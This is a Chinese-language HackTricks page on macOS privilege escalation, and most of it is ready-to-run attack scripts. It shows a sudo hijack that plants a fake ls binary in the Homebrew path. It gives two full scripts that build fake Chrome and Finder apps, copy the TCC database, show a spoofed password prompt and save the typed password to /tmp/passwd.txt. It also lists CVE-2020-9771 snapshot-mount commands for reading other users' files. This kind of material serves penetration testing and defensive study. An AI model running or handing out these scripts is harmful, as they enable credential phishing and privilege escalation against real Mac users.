macOS Privilege Escalation
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TCC 提权
如果你来这里寻找 TCC 提权,请访问:
macOS TCCLinux 提权
请注意,大多数影响 Linux/Unix 的提权技巧也会影响 macOS 机器。因此请查看:
Linux Privilege Escalation用户交互
Sudo 劫持
你可以在 Linux 提权文章中找到原始的 Sudo 劫持技巧。
然而,macOS 保持 用户的 PATH
当他执行 sudo
时。这意味着实现此攻击的另一种方法是 劫持其他二进制文件,这些文件受害者在 运行 sudo 时仍会执行:
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
注意,使用终端的用户很可能已经安装了 Homebrew。因此,可以劫持**/opt/homebrew/bin
**中的二进制文件。
Dock 冒充
通过一些社会工程学,你可以在 Dock 中冒充例如 Google Chrome,并实际执行你自己的脚本:
一些建议:
在 Dock 中检查是否有 Chrome,如果有,删除该条目并在 Dock 数组的相同位置添加****假冒的Chrome 条目。
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock
一些建议:
你 无法从 Dock 中移除 Finder,所以如果你要将其添加到 Dock 中,可以将假 Finder 放在真实 Finder 的旁边。为此,你需要 在 Dock 数组的开头添加假 Finder 条目。
另一个选项是不要将其放在 Dock 中,只需打开它,“Finder 请求控制 Finder”并不奇怪。
另一个选项是 在不询问密码的情况下提升到 root,通过一个可怕的框,实际上让 Finder 询问密码以执行特权操作:
请求 Finder 将一个新的
sudo
文件复制到/etc/pam.d
(提示询问密码将表明“Finder 想要复制 sudo”)请求 Finder 复制一个新的 授权插件(你可以控制文件名,以便提示询问密码将表明“Finder 想要复制 Finder.bundle”)
#!/bin/sh
# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
rm -rf /tmp/Finder.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources
# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
chmod +x /tmp/Finder.app/Contents/MacOS/Finder
# Info.plist
cat << EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock
TCC - 根权限提升
CVE-2020-9771 - mount_apfs TCC 绕过和权限提升
任何用户(甚至是没有特权的用户)都可以创建并挂载时间机器快照,并访问该快照的所有文件。
所需的唯一特权是用于的应用程序(如 Terminal
)必须具有完全磁盘访问(FDA)权限(kTCCServiceSystemPolicyAllfiles
),该权限需要由管理员授予。
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
更详细的解释可以在原始报告中找到。
敏感信息
这可以用于提升权限:
macOS Sensitive Locations & Interesting Daemons学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:
HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
查看订阅计划!
加入 💬 Discord 群组或电报群组或在 Twitter 🐦 @hacktricks_live上关注我们。
通过向 HackTricks和HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。
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